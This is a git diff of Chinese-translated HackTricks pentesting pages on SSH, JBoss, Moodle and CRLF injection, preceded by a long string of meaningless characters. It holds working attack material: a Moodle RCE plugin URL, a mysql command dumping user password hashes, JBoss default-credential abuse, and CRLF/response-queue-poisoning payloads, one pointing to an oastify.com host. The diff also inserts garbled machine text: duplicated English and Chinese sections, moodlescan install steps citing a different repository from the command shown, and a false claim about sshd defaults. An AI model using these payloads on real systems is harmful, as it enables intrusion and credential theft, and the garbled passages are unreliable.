z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z6z
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
|
@ -174,7 +174,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
* 用户流量被重定向到攻击机器
|
||||
* 攻击者监视连接到SSH服务器的尝试,并将其重定向到其自己的SSH服务器
|
||||
* 攻击者的SSH服务器被配置为首先记录所有输入的数据,包括用户的密码,其次发送命令到用户想要连接的合法SSH服务器以执行它们,然后将结果返回给合法用户
|
||||
* 攻击者的SSH服务器被配置为首先记录所有输入的数据,包括用户的密码,其次发送命令到用户想要连接的合法SSH服务器以执行这些命令,然后将结果返回给合法用户
|
||||
|
||||
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\*正是上述描述的操作。
|
||||
|
||||
|
@ -184,7 +184,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
|||
|
||||
### Root登录
|
||||
|
||||
默认情况下,大多数SSH服务器实现将允许root登录,建议禁用它,因为如果此帐户的凭据泄漏,攻击者将直接获得管理员权限,这还将允许攻击者对此帐户进行暴力破解攻击。
|
||||
默认情况下,大多数SSH服务器实现将允许root登录,建议禁用它,因为如果此帐户的凭据泄漏,攻击者将直接获得管理员权限,这还将允许攻击者对该帐户进行暴力破解攻击。
|
||||
|
||||
**如何禁用openSSH的root登录:**
|
||||
|
||||
|
@ -231,7 +231,7 @@ Match User noraj
|
|||
X11Forwarding no
|
||||
```
|
||||
|
||||
这是一个安全的SFTP配置示例,仅允许用户`noraj`进行访问。配置文件`/etc/ssh/sshd_config`中的设置如下:
|
||||
这是一个安全的SFTP配置示例,仅允许用户`noraj`访问。配置文件`/etc/ssh/sshd_config`中的设置如下:
|
||||
|
||||
```plaintext
|
||||
# 仅允许用户noraj进行SFTP访问
|
||||
|
@ -264,7 +264,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
|||
|
||||
**sftp** 命令中有一个 "**symlink**" 命令。因此,如果你在某个文件夹中具有 **可写权限**,你可以创建 **其他文件夹/文件** 的 **符号链接**。由于你可能被**限制**在一个 chroot 环境中,所以这对你来说**不会特别有用**,但是,如果你可以从一个 **非 chroot 服务**(例如,如果你可以从 web 访问符号链接)中**访问**创建的 **符号链接**,你可以通过 web **打开符号链接的文件**。
|
||||
|
||||
例如,要将一个新文件 **"**_**froot**_**"** 创建为指向 **"**_**/**_**"** 的 **符号链接**:
|
||||
例如,要将一个新文件 **"**_**froot**_**"** 创建为指向 "**_**/**_**"** 的 **符号链接**:
|
||||
```
|
||||
sftp> symlink / froot
|
||||
```
|
||||
|
@ -272,7 +272,7 @@ sftp> symlink / froot
|
|||
|
||||
### 身份验证方法
|
||||
|
||||
在高安全环境中,通常会启用基于密钥或双因素身份验证,而不是简单的基于密码的身份验证。但是,通常在启用更强的身份验证方法时,不会禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法,但不禁用`password`。因此,通过使用SSH客户端的详细模式,攻击者可以看到启用了较弱的方法:
|
||||
在高安全环境中,通常会启用基于密钥或双因素身份验证,而不是简单的基于密码的身份验证。但是,通常在启用更强的身份验证方法的同时,不禁用较弱的方法。一个常见的情况是在openSSH配置中启用`publickey`并将其设置为默认方法,但不禁用`password`。因此,通过使用SSH客户端的详细模式,攻击者可以看到启用了较弱的方法:
|
||||
```
|
||||
$ ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
|
@ -305,15 +305,42 @@ SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是
|
|||
$ sudo nano /etc/ssh/sshd_config
|
||||
```
|
||||
|
||||
### Translation:
|
||||
### 配置文件
|
||||
### Authentication Methods
|
||||
|
||||
SSH服务器的配置文件位于`/etc/ssh/`目录中。主要的配置文件是`sshd_config`,其中包含了SSH服务器的设置。
|
||||
### 身份验证方法
|
||||
|
||||
要查看SSH服务器的配置,请使用文本编辑器打开`sshd_config`文件:
|
||||
The `sshd_config` file allows you to specify which authentication methods are allowed for SSH connections. It is important to review and restrict the authentication methods to only those that are necessary for your environment.
|
||||
|
||||
Look for the `AuthenticationMethods` directive in the `sshd_config` file. By default, it is set to `password` and `publickey`, which allows both password-based and public key-based authentication.
|
||||
|
||||
To restrict the authentication methods, modify the `AuthenticationMethods` directive as needed. For example, to only allow public key-based authentication, set it to:
|
||||
|
||||
```
|
||||
AuthenticationMethods publickey
|
||||
```
|
||||
|
||||
Save the changes and restart the SSH service for the new configuration to take effect:
|
||||
|
||||
```bash
|
||||
$ sudo nano /etc/ssh/sshd_config
|
||||
$ sudo service ssh restart
|
||||
```
|
||||
|
||||
### 身份验证方法
|
||||
|
||||
`sshd_config`文件允许您指定SSH连接所允许的身份验证方法。重要的是要审查并限制身份验证方法,仅允许环境中所需的方法。
|
||||
|
||||
在`sshd_config`文件中查找`AuthenticationMethods`指令。默认情况下,它设置为`password`和`publickey`,允许基于密码和基于公钥的身份验证。
|
||||
|
||||
要限制身份验证方法,请根据需要修改`AuthenticationMethods`指令。例如,要仅允许基于公钥的身份验证,请将其设置为:
|
||||
|
||||
```
|
||||
AuthenticationMethods publickey
|
||||
```
|
||||
|
||||
保存更改并重新启动SSH服务以使新配置生效:
|
||||
|
||||
```bash
|
||||
$ sudo service ssh restart
|
||||
```
|
||||
```
|
||||
ssh_config
|
||||
|
@ -333,9 +360,9 @@ id_rsa
|
|||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,13 +24,13 @@ _/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服
|
|||
|
||||
你可以通过以下路径在JBoss中暴露**管理servlets**(取决于版本):_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限,你可以使用可用的调用器servlets与暴露的MBeans进行交互:
|
||||
|
||||
* /web-console/Invoker(JBoss版本6和7)
|
||||
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet(JBoss 5及之前版本)
|
||||
* /web-console/Invoker (JBoss版本6和7)
|
||||
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet (JBoss 5及之前版本)
|
||||
|
||||
**你可以使用**[**clusterd**](https://github.com/hatRiot/clusterd)**来枚举甚至利用JBOSS服务**\
|
||||
**或者使用metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
|
||||
### 攻击
|
||||
### 利用
|
||||
|
||||
[https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
|
||||
|
||||
|
@ -38,9 +38,9 @@ _/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
@ -43,21 +43,65 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
```
|
||||
### moodlescan
|
||||
|
||||
moodlescan is a command-line tool used for scanning Moodle installations for vulnerabilities. It is written in Python and can be used to perform various security tests on Moodle websites.
|
||||
moodlescan is a command-line tool used for scanning and identifying vulnerabilities in Moodle installations. It is specifically designed for penetration testers and security professionals to assess the security of Moodle-based e-learning platforms.
|
||||
|
||||
To use moodlescan, you need to have Python installed on your system. Once you have Python installed, you can download moodlescan from its GitHub repository.
|
||||
#### Installation
|
||||
|
||||
To scan a Moodle website, you need to provide the URL of the website as a parameter to the moodlescan command. For example:
|
||||
To install moodlescan, follow these steps:
|
||||
|
||||
1. Clone the moodlescan repository from GitHub:
|
||||
|
||||
```
|
||||
git clone https://github.com/ethicalhack3r/moodlescan.git
|
||||
```
|
||||
|
||||
2. Change into the moodlescan directory:
|
||||
|
||||
```
|
||||
cd moodlescan
|
||||
```
|
||||
|
||||
3. Install the required dependencies using pip:
|
||||
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
#### Usage
|
||||
|
||||
To use moodlescan, run the following command:
|
||||
|
||||
```
|
||||
moodlescan https://example.com/moodle
|
||||
python moodlescan.py [options]
|
||||
```
|
||||
|
||||
moodlescan will then perform a series of tests to identify vulnerabilities in the Moodle installation. It will check for common security issues such as outdated software versions, misconfigurations, and weak passwords.
|
||||
The available options are:
|
||||
|
||||
The tool will generate a report detailing the vulnerabilities found, along with recommendations for remediation. It is important to note that moodlescan is a tool for identifying vulnerabilities, not for exploiting them. It should only be used for ethical hacking purposes and with proper authorization.
|
||||
- `-u, --url`: The URL of the Moodle installation to scan.
|
||||
- `-f, --file`: The path to a file containing a list of URLs to scan.
|
||||
- `-o, --output`: The path to the output file where the scan results will be saved.
|
||||
- `-v, --verbose`: Enable verbose output for more detailed information.
|
||||
- `-h, --help`: Display the help message and exit.
|
||||
|
||||
Overall, moodlescan is a useful tool for pentesters and security professionals to assess the security of Moodle installations and ensure that they are protected against potential attacks.
|
||||
#### Example
|
||||
|
||||
To scan a single Moodle installation, use the following command:
|
||||
|
||||
```
|
||||
python moodlescan.py -u https://example.com/moodle
|
||||
```
|
||||
|
||||
To scan multiple Moodle installations listed in a file, use the following command:
|
||||
|
||||
```
|
||||
python moodlescan.py -f urls.txt
|
||||
```
|
||||
|
||||
The scan results will be displayed on the console and saved to the specified output file.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
moodlescan is a powerful tool for identifying vulnerabilities in Moodle installations. By using this tool, penetration testers and security professionals can effectively assess the security of Moodle-based e-learning platforms and help mitigate potential risks.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -95,13 +139,12 @@ CMSMap是一款用于扫描和识别Moodle网站的工具。Moodle是一种广
|
|||
|
||||
- **信息收集**:CMSMap可以收集有关目标Moodle网站的信息,包括版本号、插件和主题。
|
||||
- **漏洞扫描**:CMSMap可以扫描Moodle网站以查找已知的漏洞和安全问题。
|
||||
- **认证破解**:CMSMap可以尝试使用常见的用户名和密码组合对Moodle网站进行认证破解。
|
||||
- **目录爆破**:CMSMap可以通过尝试访问常见的目录和文件路径来发现Moodle网站上的隐藏内容。
|
||||
- **漏洞利用**:CMSMap可以利用已知的漏洞来获取对Moodle网站的未授权访问或执行特定的攻击。
|
||||
- **弱点利用**:CMSMap可以利用已知的漏洞和弱点来获取对Moodle网站的未授权访问或执行其他恶意操作。
|
||||
- **密码破解**:CMSMap可以尝试使用常见的用户名和密码组合对Moodle网站进行暴力破解。
|
||||
|
||||
要使用CMSMap,您需要安装Python和一些必要的依赖项。然后,您可以通过命令行界面运行CMSMap,并提供目标Moodle网站的URL。
|
||||
要使用CMSMap,您需要提供目标Moodle网站的URL。然后,CMSMap将自动执行扫描和识别操作,并生成有关目标网站的详细报告。
|
||||
|
||||
请注意,使用CMSMap进行渗透测试需要获得合法的授权,并遵守适用的法律和道德准则。
|
||||
请注意,使用CMSMap进行渗透测试或未经授权的活动可能是非法的。请始终遵守适用的法律和道德准则,并仅在获得合法授权的情况下使用此工具。
|
||||
```bash
|
||||
pip3 install git+https://github.com/dionach/CMSmap.git
|
||||
cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
@ -132,15 +175,19 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|||
|
||||
### 查找数据库凭据
|
||||
|
||||
To find database credentials in a Moodle application, you can start by analyzing the POST requests made by the application. These requests often contain sensitive information, such as database credentials, that are sent from the client to the server.
|
||||
在进行网络服务渗透测试时,查找数据库凭据是一项重要的任务。数据库凭据通常存储在配置文件或环境变量中,用于连接和访问数据库。通过获取这些凭据,黑客可以进一步访问和操纵数据库中的敏感数据。
|
||||
|
||||
To begin, intercept the POST requests using a proxy tool like Burp Suite. Once you have intercepted a POST request, analyze its parameters and look for any fields that may contain database credentials. Common parameter names to look for include "db_user", "db_password", "db_username", and "db_passwd".
|
||||
以下是一些常见的方法来查找数据库凭据:
|
||||
|
||||
If you find any parameters that appear to contain database credentials, note down their values. These values may be encrypted or encoded, so you may need to decrypt or decode them to obtain the actual credentials.
|
||||
1. **配置文件**:许多Web应用程序使用配置文件来存储敏感信息,包括数据库凭据。通过查找应用程序的配置文件,可以找到数据库的用户名和密码。
|
||||
|
||||
Once you have obtained the database credentials, you can use them to gain unauthorized access to the database. This can be done by connecting to the database using a database management tool or by using the credentials in other parts of the application that require database access.
|
||||
2. **环境变量**:有些应用程序使用环境变量来存储敏感信息,包括数据库凭据。通过检查应用程序的环境变量,可以找到数据库的用户名和密码。
|
||||
|
||||
Remember to always obtain proper authorization before attempting any penetration testing activities. Unauthorized access to databases or other systems is illegal and unethical.
|
||||
3. **源代码**:有时,数据库凭据可能直接硬编码在应用程序的源代码中。通过检查应用程序的源代码,可以找到数据库的用户名和密码。
|
||||
|
||||
4. **错误信息**:有时,应用程序可能会在错误消息中意外地泄露数据库凭据。通过检查应用程序的错误消息,可以找到数据库的用户名和密码。
|
||||
|
||||
在查找数据库凭据时,黑客需要仔细分析应用程序的不同组件,包括配置文件、环境变量、源代码和错误消息。通过使用这些方法,黑客可以成功地获取数据库凭据,并进一步利用这些凭据来访问和操纵敏感数据。
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -152,17 +199,17 @@ To dump credentials from a database, you can follow these steps:
|
|||
|
||||
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users. This can be done by exploiting vulnerabilities in the web application or by using default or weak credentials.
|
||||
|
||||
3. Gain database access: Once you have identified the database users, attempt to gain access to the database. This can be done by using the obtained credentials or by exploiting vulnerabilities in the database itself.
|
||||
3. Extract credentials: Once you have identified the database users, you can extract their credentials from the database. This can be done by querying the database tables that store user information, such as the "users" table.
|
||||
|
||||
4. Dump the credentials: Once you have access to the database, you can extract the credentials stored within it. This can be done by executing SQL queries to retrieve the username and password information from the relevant tables.
|
||||
4. Decrypt or crack passwords: If the passwords are stored in a hashed or encrypted format, you may need to decrypt or crack them to obtain the plaintext passwords. This can be done using techniques such as password cracking or rainbow table attacks.
|
||||
|
||||
5. Analyze the credentials: After extracting the credentials, analyze them to determine their validity and potential impact. This includes checking if the passwords are stored in plaintext or if they are hashed and salted.
|
||||
5. Use the credentials: Once you have obtained the credentials, you can use them to gain unauthorized access to the web application or other systems that use the same credentials.
|
||||
|
||||
Remember to always obtain proper authorization before performing any penetration testing activities. Unauthorized access to databases is illegal and unethical.
|
||||
It is important to note that dumping credentials from a database without proper authorization is illegal and unethical. This information is provided for educational purposes only and should not be used for any malicious activities. Always ensure you have proper authorization and follow ethical guidelines when conducting any security testing or penetration testing activities.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
|
@ -172,10 +219,10 @@ Remember to always obtain proper authorization before performing any penetration
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,8 +22,8 @@
|
|||
|
||||
当浏览器向Web服务器发送请求时,Web服务器会回复一个包含HTTP响应头和实际网站内容(即响应体)的响应。HTTP头和HTML响应(网站内容)由特定的特殊字符组合分隔,即回车和换行符。简称为CRLF。
|
||||
|
||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此任何类型的Web服务器都会使用它,包括Apache、Microsoft IIS和其他所有服务器。\
|
||||
来源:[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此它被任何类型的Web服务器使用,包括Apache、Microsoft IIS和其他所有服务器。\
|
||||
来自[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
### 什么是CRLF注入漏洞?
|
||||
|
||||
|
@ -153,7 +153,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
|
|||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
或者通过构造前缀与尾部垃圾组合,创建一个完整的第二个请求,以触发**响应队列污染**。
|
||||
或者通过精心构造前缀与尾部垃圾结合,创建一个完整的第二个请求,以触发**响应队列污染**。
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
|
@ -161,7 +161,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
|
|||
|
||||
### Memcache注入
|
||||
|
||||
Memcache是一个使用明文协议的**键值存储**。更多信息请参考:
|
||||
Memcache是一个使用明文协议的**键值存储**。更多信息请参见:
|
||||
|
||||
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
|
||||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
|
@ -224,9 +224,9 @@ CRLF注入的影响各不相同,还包括所有跨站脚本攻击的影响,
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
